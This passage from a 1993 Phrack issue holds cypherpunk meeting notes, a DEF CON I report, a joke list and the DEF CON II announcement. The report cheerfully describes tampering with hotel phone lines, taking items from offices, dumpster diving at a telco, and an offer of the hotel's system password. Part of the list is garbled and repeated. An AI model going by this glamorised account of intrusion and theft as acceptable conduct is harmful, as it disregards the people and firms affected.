1) In order to have a private key, you need to have your own CPU. To put your key online where someone else has physical access is dumb. Therefore, one of the consequences is that digital privacy is only for the rich.

2) Cypherpunks is not a "hacker privacy league", but rather seeks to ensure privacy for all. Crypto must be easy to use. It is just now feasible to have an anonymous remailer. The user interface _must_ be

easy. The layperson's concept of security is that if the computer is not networked, it is secure. They don't see how much of a disadvantage it is not to be networked. Gibson calls non-networked computers "dead silicon". Therefore, encryption needs to be transparent to the user. The cypherpunks mailing list reached critical mass about 2 months ago with enough people understanding the concepts to move forward. We're at a crossroads historically now.

3) If you're the only one using crypto, it must be you who sent the cryptographic message. Anonymity is a social construct, and it doesn't work unless many people do it. The government is good at suppressing small things, but bad at suppressing big things. Therefore the best course of action is to spread the word. In the end, most of us will be private or most will not. If encryption is available to you, use it.

In response to Dyson on the question of copyright: Copyright is dead, or at least moribund. It will not exist as we know it in 100 years. It is a means of using the government's power to suppress expression. You still will be able to sell the timeliness of information, indexing, delivery, etc.

Gilmore - If we decide to be private, the only limit to secrecy is individual conscience.

Comments from the audience:

-- As it becomes less possible to hold on to information, marketing shifts toward a relationship rather than a product.

-- If we want to make encryption easy, put out a mailer which supports it. (Response: We're working on it)

Q & A

Q. Can public keys be made available through the Domain Name Servers?

A. PGP developers are working on it. Internet is an information motel. Data checks in, but it doesn't check out.

Q. Is it possible to keep secrets at all?

A. The larger an organization is, the tougher it is to keep a secret. Secrecy and digital signatures are not exactly related. One thing we may see if pointers to specific documents which contain self-verifying information. These will change the balance of power.

Q. Can we sell strong crypto to Clinton as part of his national ID card for health care program?

A. There's a problem in dealing with the administration right now, because they are currently defending a position and it will be tough to change. A parallel development may make the difference. Congress is getting Email. Seven or eight congressmen have access. A push to implement crypto to determine who is from the districts represented should come soon. A lot of this type application is based on the blind signature work of David Chaum.

Q. What's the status with the legality of PGP vs. RSA?

A. It is unsettled. There are two issues: patent infringement and export. RIPEM uses RSAREF, which is a watered down version of RSA. They're working on PGP using RSAREF for noncommercial users.

Q. Compare the strength and security of PGP and RIPEM?

A. PGP uses a longer key. RIPEM uses DES, but will probably go to Triple-DES.

Q. How are blind signatures used?

A. Voter cards, digital signatures, digital money. The government won't do it if they feel it's not in their best interest. Push it.

Q. Can NSA break DES & PGP?

A. Of course.
Q. How long must a key be to slow NSA down?

A. We estimate they can break one 512 bit RSA modulus per day.

Q. Is PGP illegal, and if so, how?

A. Patent infringement issue is whether PGP infringes RSA. If you use a product that infringes, you are civilly liable. If they were to enforce against a random user, worst case is that the user might be tied up in the courts for a while. Worse is copyright - it is a felony to engage in software piracy, which means making over 10 copies with a value over $2500. This poses a potential problem for sysadmins, and now companies use the threat of criminal charges to force licensing. Kapor is willing to take the case of whether or not there could ever be a valid software patent to the Supreme Court. Godwin says prosecutors will use other laws: Wire fraud, conspiracy, RICO.

Hughes - there should be a local cypherpunks chapter. It should meet on the second Saturday of the month. Hughes is pursuing the idea of teleconferencing.

Hughes concludes: "There’s plenty of arguing to do. I’ll see you online."

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 7 of 27

Conference News

Part II

```
****************************************************************************

xxxxxxxxxxxxxxxxxx xxx xx x  xx
xxxxxxxXXXXxxxxxxxxxxxxx xx  x x
xxxxxxXXXXXXxxxxx x   x     x
xxxxxXXXXXXXXxxxxx xx   x x
xxxxXXXXXXXXXXxxx x  xxxxxxxx x
xxxXXXXXXXXXXXXxxxxxxxxxx  x
xxXXXXXXXXXXXXXXxxxxxx   xx   x
xxxXXXXXXXXXXXXxxxxxxxx
xxxxXXXXXXXXXXxxxxxxxx  x x  xx
xxxxxXXXXXXXXxxxxxxx xxx   xx  x
xxxxxxXXXXXXxxxxxxx x x  x
xxxxxxxXXXXxxxxxxxxxxx xx x x
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x
```

DEF CON I, Las Vegas 1993

I'll attempt to give you guys the real deal on what happened. Since you most likely don't care about the whole planning side of it I'll just talk about what happened of interest.

I showed up at the Sands Hotel later than I thought, thanks to a delay at the airport and a ride on the slowest hotel shuttle known to mankind. It had to stop at every other hotel before it made it to mine. Oh well.

So I check in and go to check out the conference room, which happens to be right next to the conference planning room for the hotel. "Hmm, they will be gone for the weekend though, so we should be safe," I think as I wander into "The Burgundy Room" Sounds like a room in "Clue." Anyway there are like maybe six other people there. Dead Addict has been holding down the fort, and wanted to go get drinks so I set him free to frolic as I set up shop. I handed out tags to the people who had shown up and settled in for the duration.

Someone had brought a cd player, so I put on a tape and got the music going. Red Five was there sporting scanners and radio gear, this guy had wires sticking out all over the place. "Good thing they turned to phones off," I say looking around the room happy that I wouldn't be stuck with a $31,312 phone call to Eastern Europe. "Yeah, we already checked that one," said one of the "hammies" gesturing to the phone jack I had seen. I notice a large cable running from the jack to a larger junction box at about the same time their eyes light up with glee. "Get the handset!," one says as another advances on the box with a tool kit that appeared out of thin air. "I'll need the ohm meter and some clips." the box is dismantled, and three people swarm it in a line testing frenzy. "No good on one.. two.. three.. got tone on four!" Great, I think, I'm fucked! "hhmm.. seems to be just the hotel, can't get an outside line.."

This goes on for some time until I persuade them to stop fucking with the box and to do something else. They give up bored, and start exploring the rooms next to us finding a hallway that leads to a security camera monitoring the casino tables below. Some decide it's not cool to be recorded and return from there in a hurry, while others locate a travel agent's office and start grabbing a few things of no consequence. We grabbed two large easels holding large pads of paper for people to draw/write on.

About this time the lady in charge of convention planning calls me to her office. "We got a call from the communications room. They said things were lighting up on their board that aren't supposed to be lighting up from your conference room. They say if it doesn't stop that you'll be thrown out of the hotel." Zowie. "OK, I got them to stop. They were just trying out their computer on the phone line to see if they could place a call," (Yeah, right) "but I'm sure it won't happen again." The assistant in the office spoke up and said something like, "Well, if you can clear my credit card I'm sure we wouldn't mind!" To which the main lady, Moreen, said "Yeah, my name is Moreen Robinson, and my Social Security number is..." What did they think? "Yeah, I'll get my credit erasers on it right away!"??

Back at the room things started to pick up. People came in throughout the day, and the bar downstairs was having a $1 margarita special. Someone bought twenty drinks for everyone (All right!) and then we got a picture more of them. Metal Head went and got me a drink while he was out. Things were looking good through this buzz of mine. Judi Clark of the Bay Area CPSR showed up (one of the speakers) and was real cool. She was jonesing for an internet connection, but we couldn't line one up with a slip connection for her. She had brought some literature to distribute, too.

Around six or seven or so we had a pretty good crowd going, with more and more speakers showing up. Ray Kaplan (Kaplan and Associates) drove like a maniac out of Arizona, and Dr. Ludwig (Author of Little Black Book of Computer Viruses) drove up with Merc from Arizona also. It was about ten or so Friday night and people were getting to know each other. Some more radio guys showed up, including the Jackal, and they were in another corner speaking in some other language.. stuff I won't even try to reproduce here. It revolved around the best ways to pick up restricted channels and how not to be triangulated. Cool.

Speculation was rising about what Gail Thackery would be like, and when Gillian from New Media Magazine showed up to cover the event people figured that she must be Gail. Nope. Gail showed up about a half hour later. Conversation in the room stopped, and all eyes were on Gail. She didn't seem to notice, and came up and said hello. I gave her a speakers id pass, and she went off to find a drink. When she returned people started to talk to her, and by about midnight she was mobbed with people. She had a captive audience at the back of the room and was fielding all types of questions. Some guy was saying "Say, hypothetically, that you have 9 gigs all encrypted on your, re, a bbs and you get raided, wow will they get the evidence?" Gail's response was basically if they have enough evidence to boot in your door they should have enough evidence to prosecute a case. Want to be a test case for encryption? Neither did he.

Kurt Karnow, the VR speaker from San Francisco showed up and was talking with the New Media Reporter. Some local radio d.j. who does a late night cutting edge style showed up to grab some audio clips from me and bailed out. A "suit" showed up, and everyone immediately, in an attempt to win the free "I spotted the fed" shirt pointed him out to me. This "suit" had cop eyes, cop walk and cop speak. He was all businesslike, and wanted to talk to me in private. I took him into the "cone-o-silence" room (the hallway connected to the travel agent's place) and asked what's up. Turns out he is a writer for Loompanics and was there checking to see if there was anything or anyone worth writing about or having write for him. Everyone was sure I was a super narc after coming out of the cone, but he started loosening up and was talking with everyone by the next day. If he was a fed, they have great feds out there that are almost undetectable. He said his cop speak is a great way to get people to tell him stuff they wouldn't normally say.

Dan Farmer showed up with a female harem in tow. He seemed to have this ability to magically attract females, but we won't get into that here. He would make an appearance and then leave every once in a while. His women looked bored (there were three of them) so I assume he was keeping them entertained by gambling or something...

Dark Druid showed up with Richard Finch, an author who is writing a book entitled "The underground road map through cyberspace" Oh, yeah. This guy still owes me a copy of the video tapes from the convention. Basically a snake. Said he would send me a copy of them, and then moved and changed his number. We located him and he said he would send them again. Not. L00zer. Dark Druid was cool, though, and was franticly looking for alcohol to comfort him after the long drive.

One person I met worked for Logicon, SOF Weapon Systems, doing "Nuclear event testing." Basically his job is to see if he can break in and cause a simulated "event" (missile launch, detonation, etc.) to happen. I'll invite this guy to speak at DEF CON][for sure. Not that people are going to hack silos, but it was very interesting to say the least.

It was decided it was time for a "Death Star" raid (we had spotted the local AT&T office with a billion repeaters and microwave shit on the roof) and rounded up a crew to go attack it. Of course Red Five was standing by (Ow!) and Gillian offered to rent a limo to go trashing in. It turned out that it would take 1/2 hour to get the limo, so we went in two cars instead. After getting lost in the Las Vegas Hell we found the target. Fences everywhere, a guard patrolling, and an unprotected dumpster just by the fences. Red Five radioed to his friend, we coordinated an attack plan. I laid down flat in the back of the truck, another car was "blocker" on the street. We turned in, screeched up to the treasure chest, I bailed out and hurled the bags into the truck and pounced on top of them to the papers wouldn't fly out as we hauled ass outta there. Those Vegas telco employees eat more dino-sized McMeals and burgers than I can count. My body was almost covered in apple pie containers and happy meals, yuck. We hauled the find up to the room, and the people who were still up dived on it. Jamin the Shamin went bonkers rooting through crap, and I think White Ninja was sportin' wood. People got some interesting items (catalogues, some x.25 phone numbers, etc..) while I got to clean up the mess, er, wreckage in the room. Everyone pitched in and by two thirty a.m. it was time to snooze. Everyone took off to wherever they were going, and a few people stuck around to crash in the conference room.

It seems over the night that the late shift of security personnel were not informed that I had the conference room 24 hours. They showed up at around four a.m. and saw Code Ripper, The Prophet and Merc crashed out and they went nuts. At first they asked them to leave to room. The Prophet explained that the room was rented 24 hours, and they didn't care. He then asked to talk to the assistant manager. They didn't like this and called in the goons. Like five or more guards showed up. In Las Vegas the goons carry guns. These guys asked to have 'em leave and Code Ripper and Merc were like "Sure, no prob. Later!" The Prophet continued to bitch and got a personal interview with head guard man and then a personal boot off the hotel's property.

Saturday morning I get a fax that Allen Grogan (Editor of the Computer Lawyer) won't be able to make it because of a family emergency. That's one less speaker. Already Count Zero's dad went ballistic when he found out his son might speak at the con. He threatened to sue me if he showed up. Dude, chill, it's your son, not mine. It turns out he called the Sands Hotel ranting and raving at anyone he could. Moreen said, "he was spouting off things about law suits and some such, so I transferred him to legal." What a kook. Midnight Sorrow (used to run CCi) backed out too after his phone bills reached like half of the national debt. ErikB spent too much money at SCon and he bailed out also. They were dropping like flies! Scott Simpson wasn't about to show up after his door was kicked in with the help of various federal agencies, either. Oh well, we still had a full speaking list.

Robert X. Cringly from Info World was there, a photographer from Mac World, John Littman, Unix World (<- an evil review.. don't believe it.. it was all wrong and jumbled. Rik Farrow messed it up) another photographer who took the picture that ended up in New Media was there. The photographer (Who turned out to be Karnow's sister) gathered some "cyberpunk" looking people together for it.. needless to say I wasn't in it. She bought a bunch of alcohol for everyone, so that wasn't so bad.

I did a little blurb welcoming everyone and talking about my run in at the Seattle 2600 meeting a few weeks before, and then let Ray K. start off the convention. About halfway through the talks before lunch, the X. Cringe factor got a cellular phone call, and got up to leave the room so as not to disturb the audience. He was about halfway towards the door when you could hear scanners turning on all over the room (well, OK, three of them) and a coordinated effort was put forth to find his call. Some start at the low frequencies and worked up, and some at the high frequencies and worked down. It turns out it was only Pammy, and no super secret industry gossip. Bummer.

I'm not going to cover exactly what the speakers had to say because I wouldn't know what to include and what not too. Get the tapes, or ftp the huge digitized speeches off the ftp site (cyberspace.com /pub/defcon) and listen to 'em. We tried to make typed transcripts, but they were a nightmare, so we gave up on it. This is basically what was covered:

Ray Kaplan did a verbal sample of the attendees, and then went on to talk about morality and the hacking ethic. He came across pro-responsible-hacker, but managed to get into a debate with Torquamada who though he was preaching too much. A good exchange, and his talk reminded me of some of the stuff you hear on IRC late at night when #hack becomes #hack-politics, only better.

Gail Thackery spoke about where the law is coming from in all this, and was very straight forward with a no shit attitude. She said she loved capturing and collecting all the log in screens of bbs systems that have lame disclaimers like "If you are a fed you can't log on here. If you press 'y' you can never narc on me." She swaps 'em with her other law enforcement friends. As a side note we were selling hack pads and bbs pads that attempted to organize all the notes people make in the course of things. It seems every one who gets nabbed gets nabbed with their "bust-me book" You know, that note pad with all the incriminating evidence on it that everyone keeps. Well we figured we'd at least make things easier so we had these pads. Gail looked them over and made a comment like, "Oh, those look just like ours except we have a space for the case number in the upper right hand corner."

Judy Clark from the CPSR spoke about the role of the CPSR (Computer Professionals for Social Responsibility) as opposed to that of the EFF which is almost entirely, well, er, it is, sponsored by large corporations including computer and telephone interests. She spoke about privacy issues and what to do if you are interested in getting involved.

There was a panel discussion with Gail and Ray K fielding questions from the audience. Ray talked about how security is useless unless the employers and employees are willing to change their way of working. It's not as simple as installing the latest and greatest security packages.

Kurt Karnow works as an attorney for a San Fransisco law firm that represents large companies such as AT&T and Sega. He spoke about "ZUI" or Zero User Interface as envisioned in the future with VR equipment. He talked about how impossible it is to debug any large program 100%, and that mistakes and problems will occur. He talked of a recent case he worked on, where the makers of "Sim City" made "Sim Oil Refinery" for a large oil company. The company was concerned that if their software was programmed incorrectly, and they find that out by having a refinery explode when the employees did something they were trained to do, that they could loose all. Kurt was also great is shamelessly hoping some for a few good accidents so he could finance his kids through college. A very well informed and easy to talk to person.

Dr. Mark Ludwig Spoke about the philosophy behind his virii programming analysis. It was almost a political talk about the invasive government policies and the desire of the Federal System to be the know all and be all in the future. He spoke about their attempts to restrict encryption technologies. He announced that he has come up with a virus that acts as a software delivery service for the IDEA encryption algorithm. When you insert this disk, or get the "infection" it asks if you want to encrypt your fixed disk, and then asks for your password. Any floppy that is inserted on your system gets encrypted and infected with the password of your choice. You can toggle the encryption on and off, un-install your hard drive, etc. He posed the question to the crowd, "What if everyone woke up one day and all their data was safely encrypted? If encryption became the standard, people would have less to fear from Big Brother." I've got the virus, called the KOH virus, currently being updated, and will bring it to Pump Con][, Ho Ho, Etc. for anyone interested.

Dead Addict spoke on the past and the future as he sees it of the Computer Underground's various factions. The increase of people on the net and the use of more and more networks will yield rich lands to be explored. It turned into a question and answer with people discussing their view on where things are going.

Dan Farmer spoke on Unix security. He was very good and sounded very well informed. He has learned his tricks monitoring the 30,000 or so workstations used by Sun Microsystem and else where over the years. He talked about how people get caught and what to do about it. How sysadmins usually monitor and maintain their systems. Basically he was bored with password crackers and lame passwords. He focused on the creative ways to get root. "If you can gain access enough to execute one command on the victim computer, you should be able to get root." He avoided bugs and problems that will be fixed, and focused on flaws in the way systems and networks are set up.

Dark Druid talked about his bust and how it sucks not to be charged and still not have his equipment back after it was seized.

Right as the group was breaking up someone did a quick impromptu demonstration to a few people of a laptop plugged into the diagnostic port of a cell phone that allowed all types of crazy activity. People broke into groups and went out for dinner. I ended up with Gail Thackery, Gillian the reporter, Kurt Karnow, the sysadmin of cyberspace and a few others. General B.S. about government plots and assassinations ensued with real discussions branching off. Because there are no clocks anywhere in Las Vegas we kinda lost track of time, and wandered back to the hotel in an hour or so. People changed and the broke off to do their thing.

I ran into a guy from SGI security at the bar, and then Dan Farmer, and then Aleph One, and then fuck, it seemed like a mini con at the bar. People were drinking like fiends, and Gail showed up with Gillian and the crowd from L.A. and the San Francisco 2600 group was there drinking too. Gail was chain smoking and pounding Johnny Walker straight, drinking most of us under the table. I think that shocked more people more than anything else! We finally got a thinly clad waitress to take a group picture, where everyone is all smiles and laughing, and Gail has this evil frown looking like this is the last place on earth she wants to be. Right as the pic is taken someone goes to fake pour a drink on her head, making for a great picture WHICH I STILL DON'T HAVE! (Aleph One, send me that digitized picture so I can stick it on the ftp site)

Sunday people just hung out to bull-shit about whatever, with groups forming on and off till everyone took off for home. Someone approached me and let me know that they had the password for the Sands Hotel Vax system and the barrier code for their PBX. "If the hotel gave you too much trouble, just let me know." You would think that after years of mob and crime action the casino would have a functional security set up. Not. That was area code 702 for anyone interested in scanning it.

A few of use were sitting around waiting for time to pass when I found a bunch of wires wrapped together from the death star raid Friday night. It sort of looked like a mini whip, and was immediately termed the "Def Con Cyber-Whip" Needless to say, we had to present the Cyber-Whip to Dan Farmer for his excellent contribution mention of a.s.b. during his speech that seemed to cause the most gossip. Hacking a network? No problem. Talking about a.s.b.? OuTrAgEoUs! People are so funny. Anyway, Dan is now the keeper of the Cyber-Whip. We'll try to come up with a more formal presentation next year. That should drive the media nuts. Hey, with a little help from ErikB for video entertainment maybe create a Def Con dungeon. Ha! Ok, it's late. Hackers are such sick people.

A lot of people made great contacts and I'm still hearing of people who are working with their new contacts doing "things" I managed to weasel a job out of the deal, writing a small monthly column in New Media Magazine (as my editor puts it) on "Interesting things that could only happen on the net." This gets translated to reading a bunch of newsgroups in a futile attempt to find something that would be amusing to the readership. If you guys have any good rumors you want mentioned, just feed 'em to me in e-mail.

Overall a good time. We planned for about 100 people max, and we got just around 110 or so. Our blurb in 2600 came out late, Mondo 2000 missed an issue and Wired messed up hard core twice. I had mailed LR inviting someone to attend and asking if we could get a mention in the upcoming events section. He said sure, just e-mail me. I did that and nothing happened. I talked to him, and he said I should send it to someone else at Wired, which I did. It wasn't in the next issue either! Right before the con I got e-mail form someone at Wired asking me if the convention was still on and what its status was. They are nice people there, just a little bit confused or busy. This was happening right after wired.com got hacked so they might have been preoccupied. This year we won't miss any deadlines and make sure that the word gets spread well in advance so we can get a greater turn out, but for a first attempt it went over well. No fights, fire alarms pulled or people vomiting on the gamblers. The things that could be improved like more technical speeches, etc., will all be fixed in DEF CON][. We'll have midnight tech talks, terminals hooked up to the net for people to IRC on or whatever, and additional speeches on Sunday so people have an excuse to stick around that day.

[Generic closing statement omitted]

The Dark Tangent
dtangent@defcon.org

****

Top 23(!) things learned at DEF CON 1

By The White Ninja

"Jesus Hacks! Why don't YOU?"

This text file idea blatantly leeched from:
SummerCon!

1. Casino offices can be full of fun!!

2. Casinos generally don't appreciate it when you explore their offices....

3. Yes, some people ARE capable of gambling away $167 in an hour!

4. You can get reasonable conference discounts on prostitution in Nevada.

5. One can survive for 3 days in Vegas on $12 and a gift certificate.

6. Viruses are our friends.

7. Give a Casino security guard a walkie-talkie and he'll swear he's the center of the universe.

8. Don't commit a felony in front of Gail Thackery.

9. The people who work at the Death Star throw the darndest things in the trash!

10. Pirates and Theives ONLY!

11. If you harass a hotel telephone operator long enough she WILL send security.

12. When using ITT ask for BOB...

13. Metal plates screwed to your hotel room ceiling generally constitute a bad sign.

14. Don't forget to Hack the BED!

15. You know your in deep shit when THEY aim an IR-Mic at your window.

16. Setting 11 fires in selected parts of the city is probably a bad idea.

17. The guy who looks most like a fed probably writes for LOOMPANICS.

18. The guy who looks least like a fed probably does security for SUN.

19. As a general rule, don't hack the hotel PBX unless you're giving them a better credit rating.

20. If your wondering where all those C-64 warez kidz went, try talking to some of the beggars in Vegas.

21. Those COCOTS were gold plated for a REASON!

22. If you plan to stay the night in a hotel, make sure you get a room there.

23. "0K, dit rating.

20. If your wondering where all those C-64 warez kidz went, try talking to some of the beggars in Vegas.

21. Those COCOTS were gold plated for a REASON!

22. If you plan to stay the night in a hotel, make sure you get a room there.

23. "OK, this is my new PGP key for use in sensitive matters. Heck, use it for unsensitive matters.. people sniff packets 'ya know."

****

What Was Your Best Hack

September, 1993

(New Media) (Page 14)

[Asked at Def Con 1, the first formal gathering of the hacker community to discuss security, viruses and the law.]

Mike Winters, 19, Seattle
Claims to have hacked into GMAC and then held a conference call with GM's VP of Finance to help him "secure the system."

HB, San Mateo, California
Broke into a system to counterfeit checks to "show his employers how easy it was." Got arrested with two years probation and 24 days of community service.

Gail Thackeray, 44, Deputy County Attorney, Phoenix
A Hacker had broken into a voice mail system and was using it as a code line. The company could not take down the system until the prosecutors were ready to make a case. When they did, the company blocked all access and changed the greeting to a song parody of "Hey Jude" called "Hey Dood," which really infuriated the hacker.

****

Dead Addict At Def Con

September, 1993

by Gillian Newson (New Media) (Page 119)

["The oldest cyberchick" hangs with the Def Con Posse and discovers the joys of trashing.]

****

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

```
]]]]]]]]]]]]]]]]]] ]]] ]] ]  ]]   DEF CON ][ Initial Announcement
]]]]]]]^^^^]]]]]]]]]]]]] ]]  ] ]  DEF CON ][ Initial Announcement
]]]]]]^^^^^^]]]]] ]   ]     ]     DEF CON ][ Initial Announcement
]]]]]^^^^^^^^]]]]] ]]   ]         DEF CON ][ Initial Announcement
]]]]^^^^^^^^^^]]] ]  ]]]]]]]] ]   DEF CON ][ Initial Announcement
]]]^^^^^^^^^^^^]]]]]]]]]]  ]      DEF CON ][ Initial Announcement
]]^^^^^^^^^^^^^^]]]]]]   ]]   ]   DEF CON ][ Initial Announcement
]]]^^^^^^^^^^^^]]]]]]]]           DEF CON ][ Initial Announcement
]]]]^^^^^^^^^^]]]]]]]]  ]  ]]     DEF CON ][ Initial Announcement
]]]]]^^^^^^^^]]]]]]] ]]]   ]]  ]  DEF CON ][ Initial Announcement
]]]]]]^^^^^^]]]]]]] ] ]  ]        DEF CON ][ Initial Announcement
]]]]]]]^^^^]]]]]]]]]]] ]] ] ]     DEF CON ][ Initial Announcement
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] ]  DEF CON ][ Initial Announcement
```

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

WTF is this? This is the initial announcement and invitation to DEF CON][, a convention for the "underground" elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii coders, programmers, crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, etc..

WHO: You know who you are, you shady characters.
WHAT: A convention for you to meet, party, and listen to some speeches that you would normally never hear.
WHEN: July 22, 23, 24 - 1994

WHERE: Las Vegas, Nevada @ The Sahara Hotel

So you heard about DEF CON I, and want to hit part][? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to check it out in person? Load up your laptop muffy, we're heading to Vegas!

Here is what Three out of Three people said about last years convention:

"DEF CON I, last week in Las Vegas, was both the strangest and the best computer event I have attended in years." -- Robert X. Cringely, Info World

"Toto, I don't think we're at COMDEX anymore." -- Coderipper, Gray Areas

"Soon we were at the hotel going through the spoils: fax sheets, catalogs, bits of torn paper, a few McDonald's Dino-Meals and lots of coffee grounds. The documents disappeared in seconds." -- Gillian Newson, New Media Magazine

DESCRIPTION:

Last year we held DEF CON I, which went over great, and this year we are planning on being bigger and better. We have expanded the number of speakers to included midnight tech talks and additional speaking on Sunday. We attempt to bring the underground into contact with "legitimate" speakers. Sure it's great to meet and party with fellow hackers, but besides that we try to provide information and speakers in a forum that can't be found at other conferences.

WHAT'S NEW THIS YEAR:

This year will be much larger and more organized than last year. We have a much larger meeting area, and have better name recognition. Because of this we will have more speakers on broader topics, we plan on having a slip connection with multiple terminals and an IRC connection provided by cyberspace.com. We are trying to arrange a VR demo of some sort. Dr. Ludwig will present this years virus creation award. There will be door prizes, and as usual a bigger and better "Spot The Fed" contest. If you are elite enough to handle it, there should be the returning of the Cyber-Whip and the beginning of a new one. We'll try to get an interesting video or two for people to watch. If you have any cool footage you want shown, email me with more information.

WHO IS SPEAKING:

We are still lining up speakers, but we have several people who have expressed interest in speaking, including Dr. Mark Ludwig (Little Black Book Of Computer Viruses), Phillip Zimmerman (PGP), The Mentor (Steve Jackson Games), Ken Phillips (Meta Information), and Jackal (Radio) to name a few, plus there should be a mystery speaker via video conference. We are still contacting various groups and individuals, and don't want to say anything until we are as sure as we can be. If you think you are interested in speaking on a self selected topic, please contact me. As the speaking list is completed there will be another announcement letting people know who is expected to talk, and on what topic.

WHERE THIS THING IS:

It's in Las Vegas, the town that never sleeps. Really. There are no clocks anywhere in an attempt to lull you into believing the day never ends. Talk about virtual reality, this place fits the bill with no clunky hardware. If you have a buzz you may never know the difference. It will be at the Sahara Hotel. Intel as follows:

The Sahara Hotel 1.800.634.6078
Room Rates: Single/Double $55, Suite $120 (Usually $200) + 8% tax
Transportation: Shuttles from the airport for cheap

NOTES: Please make it clear you are registering for the DEF CON][

convention to get the room rates. Our convention space price is based on how many people register. Register under a false name if it makes you feel better, ’cuz the more that register the better for my pocket book. No one under 21 can rent a room by themselves, so get your buddy who is 21 to rent for you and crash out. Don’t let the hotel people get their hands on your baggage, or there is a mandatory $3 group baggage fee. Vegas has killer unions.

COST:

Cost is whatever you pay for a hotel room split however many ways, plus $15 if you preregister, or $30 at the door. This gets you a nifty 24 bit color name tag (We’re gonna make it niftier this year) and your foot in the door. There are fast food places all over, and there is alcohol all over the place, the trick is to get it during a happy hour for maximum cheapness.

FOR MORE INFORMATION:

For InterNet users, there is a DEF CON anonymous ftp site at cyberspace.com in /pub/defcon. There are digitized pictures, digitized speeches and text files with the latest up to date info available.

For email users, you can email dtangent@defcon.org for more information.

For Snail Mail send to DEF CON, 2702 E. Madison Street, Seattle, WA, 99207

For Voice Mail and maybe a human, 0-700-TANGENT on an AT&T phone.

A DEF CON Mailing list is maintained, and the latest announcements are mailed automatically to you. If you wish to be added to the list just send email to dtangent@defcon.org. We also maintain a chat mailing list where people can talk to one another and plan rides, talk, whatever. If you request to be on this list your email address will be shown to everyone, just so you are aware.

STUFF TO SPEND YOUR MONEY ON:

> Tapes of last years speakers (four 90 minute tapes) are available for $20

> DEF CON I tee-shirts (white, large only) with large color logo on the front, and on the back the Fourth Amendment, past and present. This is shirt v 1.1 with no type-o’s. These are $20, and sweatshirts are $25.

> Pre-Register for next year in advance for $15 and save half.

> Make all checks/money orders/etc. out to DEF CON, and mail to the address above.

If you have any confidential info to send, use this PGP key to encrypt:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3

mQCrAiyI6OcAAAEE8Mh1YApQOOfCZ8YGQ9BxrRNMbK8rP8xpFCm4W7S6Nqu4Uhpo
dLfIfb/kEWDyLreM6ers4eEP6odZALTRvFdsoBGeAx0LUrbFhImxqtRsejMufWNf
uZ9PtGD1yEtxwqh4CxxC8glNA9AFXBpjgAZ7eFvtOREYjYO6TH9sOdZSa8ahW7YQ
hXatVxhlQqve99fY2J83D5z35rGddDV5azd9AAUTtCZUaGUgRGFyayBUYW5nZW50
IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==
=ko7s
-----END PGP PUBLIC KEY BLOCK-----\032
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 8 of 27

Conference News

Part III

****

A Hacker At The End Of The Universe

by Erik Bloodaxe

Eight hours on a plane isn't that bad. It isn't that fucking great either, but it isn't the end of the world. This is especially true under certain circumstances like if you were being inducted into the mile-high club by means of an obscure tantric ceremony, or you've just successfully hijacked a 747, or you are nestled in your seat on your way to Amsterdam.

Unfortunately, I haven't hijacked much lately, and as far as the mile high club goes I'm pretty sure you need a partner to join; but as I was on my way to Hacktic's Hacking at the End of the Universe conference, I was stoked.

When I finally arrived in Amsterdam and breezed through customs, I was greeted with the pleasant sight of a LOD Internet World Tour T-Shirt being held up above the throngs congregating at the customs exit. Its owner, Carl, was probably the only American that I knew that was going to be in this country so we had arranged previously to meet. The shirt was my beacon.

EB's Handy Travelling Tip #1: Never have more bags than you have hands.

I was to find out that we were in for a good deal of walking. Me being such a fucking plan ahead kind of guy, had packed enough clothes for 8 days and brought a camcorder as well as my laptop and assorted other crap. This was all find and dandy except for the fact that I had three bags and only two hands. I hoisted one bag up on a shoulder strap (which would begin its week-long gradual slicing into my collarbone) and drug the other two bags behind me.

Carl had rented a room in Naarden at a Best Western or something. The con was in Lelystad somewhere. Neither of us had any idea of exactly where these two places were in relation to one another. We would soon find that they were no where close.

EB's Handy Travelling Trip #2: Buy a Eurail Pass or the national equivalent
thereof.

Luckily, Carl had the foresight to suggest that we should buy a train pass for the week. It was only like 50 bucks and got us free rides on the trains, trams, buses, and train-taxis everywhere in the Netherlands. It MORE than paid for itself.

We hopped a train and rode to the Amere stop, then took a taxi to the hotel, dropped off our crap then rode a bus back to the station and went into Amsterdam.

Amsterdam is a really neat place. I think everyone should go there at least once. Carl and I wandered around for hours and hours just checking things out. During our travels I discovered some really neat places.

EB's Handy Travelling Tip #3: Pornography Is Good.
Foreign Pornography is GREAT!

I have to respect a country that has smut proudly displayed everywhere. In every magazine rack, in every train station, convenience store and in large (clean, well-lit, heh) stores everywhere, smut. Not your average run of the mill nastiness either. We're talking monumental titles like "Teenage Sperm," "Seventeen," "Teeners From Holland," "Sex Bizarre," and "Color Climax."

I went in every smut shop we saw. I think Carl wanted to die of embarrassment. I was like a kid in a candy store. It was really pathetic. You would not believe the shit they sell over there. Well, maybe you would. I pray that I can buy a vcr that transfers PAL to NTSC someday.

One of the most hilarious items I saw was a HUGE dildo in the shape of an arm with a fist. And I mean life size. Like Arnold Schwartzenegger's arm life size. I wonder if that's a big seller?

We finally got totally zonked out and headed back to the hotel to relieve our jetlag tomorrow was the con!

EB's Handy Travelling Tip #4: Always take the Train Taxi

In Holland, once you get off the train, for an extra 10 guilders, you can get a pass for a special taxi to take you anywhere you need to go. Carl and I didn't find this out until a few 20 dollar cab rides to the campground.

HEU was held out in the Dutch countryside. A more appropriate title might have been "Hacking in the Middle of Fucking Nowhere." The taxi driver had been shuttling people out there all day. As we approached the campground signs for the conference began to show up. Signs of geekdom on the horizon.

We got out at the gate, and walked over to the tent that said registration. In the tent were a couple of guys who took your picture and printed out a badge with your picture digitized on it.

